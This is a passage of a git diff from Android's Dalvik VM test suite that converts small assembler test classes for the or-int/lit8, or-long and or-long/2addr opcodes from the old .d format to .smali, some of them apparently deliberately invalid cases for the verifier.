+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_8.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit8_8.java"
+.class  public Ldot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 8
+
+       or-int/lit8 v0, v6, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_9.d
deleted file mode 100644
index 7e44fec..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_9.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_lit8_9.java
-.class public dot.junit.opcodes.or_int_lit8.d.T_or_int_lit8_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       or-int/lit8 v0, v6, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_9.smali
new file mode 100644
index 0000000..8eacb64
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_9.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit8_9.java"
+.class  public Ldot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       or-int/lit8 v0, v6, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_1.d
deleted file mode 100644
index 6bc5ef8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_long_1.java
-.class public dot.junit.opcodes.or_long.d.T_or_long_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       or-long v0, v10, v12
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_1.smali
new file mode 100644
index 0000000..c3b7055
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_long_1.java"
+.class  public Ldot/junit/opcodes/or_long/d/T_or_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       or-long v0, v10, v12
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_2.d
deleted file mode 100644
index b33694e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_long_2.java
-.class public dot.junit.opcodes.or_long.d.T_or_long_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       or-long v0, v10, v14
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_2.smali
new file mode 100644
index 0000000..1ce7398
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_long_2.java"
+.class  public Ldot/junit/opcodes/or_long/d/T_or_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       or-long v0, v10, v14
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_3.d
deleted file mode 100644
index f85ee63..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_long_3.java
-.class public dot.junit.opcodes.or_long.d.T_or_long_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)J
-.limit regs 14
-
-       or-long v0, v10, v12
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_3.smali
new file mode 100644
index 0000000..cdbb766
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_long_3.java"
+.class  public Ldot/junit/opcodes/or_long/d/T_or_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 14
+
+       or-long v0, v10, v12
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_4.d
deleted file mode 100644
index 89337b0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_long_4.java
-.class public dot.junit.opcodes.or_long.d.T_or_long_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IJ)J
-.limit regs 14
-
-       or-long v0, v11, v12
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_4.smali
new file mode 100644
index 0000000..9b72cfb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_long_4.java"
+.class  public Ldot/junit/opcodes/or_long/d/T_or_long_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IJ)J
+.registers 14
+
+       or-long v0, v11, v12
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_5.d
deleted file mode 100644
index 91fbc4d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_long_5.java
-.class public dot.junit.opcodes.or_long.d.T_or_long_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FJ)J
-.limit regs 14
-
-       or-long v0, v11, v12
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_5.smali
new file mode 100644
index 0000000..314f304
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_long_5.java"
+.class  public Ldot/junit/opcodes/or_long/d/T_or_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FJ)J
+.registers 14
+
+       or-long v0, v11, v12
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_6.d
deleted file mode 100644
index ee5c07a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_long_6.java
-.class public dot.junit.opcodes.or_long.d.T_or_long_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       or-long v0, v9, v12
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_6.smali
new file mode 100644
index 0000000..273ec7e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_long_6.java"
+.class  public Ldot/junit/opcodes/or_long/d/T_or_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       or-long v0, v9, v12
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_1.d
deleted file mode 100644
index a7c4859..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_long_2addr_1.java
-.class public dot.junit.opcodes.or_long_2addr.d.T_or_long_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       or-long/2addr v10, v12
-       return-wide v10
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_1.smali
new file mode 100644
index 0000000..be93df3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_long_2addr_1.java"
+.class  public Ldot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       or-long/2addr v10, v12
+       return-wide v10
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_2.d
deleted file mode 100644
index f7db657..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_long_2addr_2.java
-.class public dot.junit.opcodes.or_long_2addr.d.T_or_long_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       or-long/2addr v10, v14
-       return-wide v10
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_2.smali
new file mode 100644
index 0000000..ae81403
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_long_2addr_2.java"
+.class  public Ldot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       or-long/2addr v10, v14
+       return-wide v10
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_3.d
deleted file mode 100644
index 5604162..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_long_2addr_3.java
-.class public dot.junit.opcodes.or_long_2addr.d.T_or_long_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)J
-.limit regs 14
-
-       or-long/2addr v10, v12
-       return-wide v10
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_3.smali
new file mode 100644
index 0000000..0071ff1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_long_2addr_3.java"
+.class  public Ldot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 14
+
+       or-long/2addr v10, v12
+       return-wide v10
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_4.d
deleted file mode 100644
index a13b59f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_long_2addr_4.java
-.class public dot.junit.opcodes.or_long_2addr.d.T_or_long_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IJ)J
-.limit regs 14
-
-       or-long/2addr v11, v12
-       return-wide v11
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_4.smali
new file mode 100644
index 0000000..dcf4a1f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_long_2addr_4.java"
+.class  public Ldot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IJ)J
+.registers 14
+
+       or-long/2addr v11, v12
+       return-wide v11
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_5.d
deleted file mode 100644
index 7d7667d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_long_2addr_5.java
-.class public dot.junit.opcodes.or_long_2addr.d.T_or_long_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FJ)J
-.limit regs 14
-
-       or-long/2addr v11, v12
-       return-wide v11
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_5.smali
new file mode 100644
index 0000000..7e88ae2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_long_2addr_5.java"
+.class  public Ldot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_5;
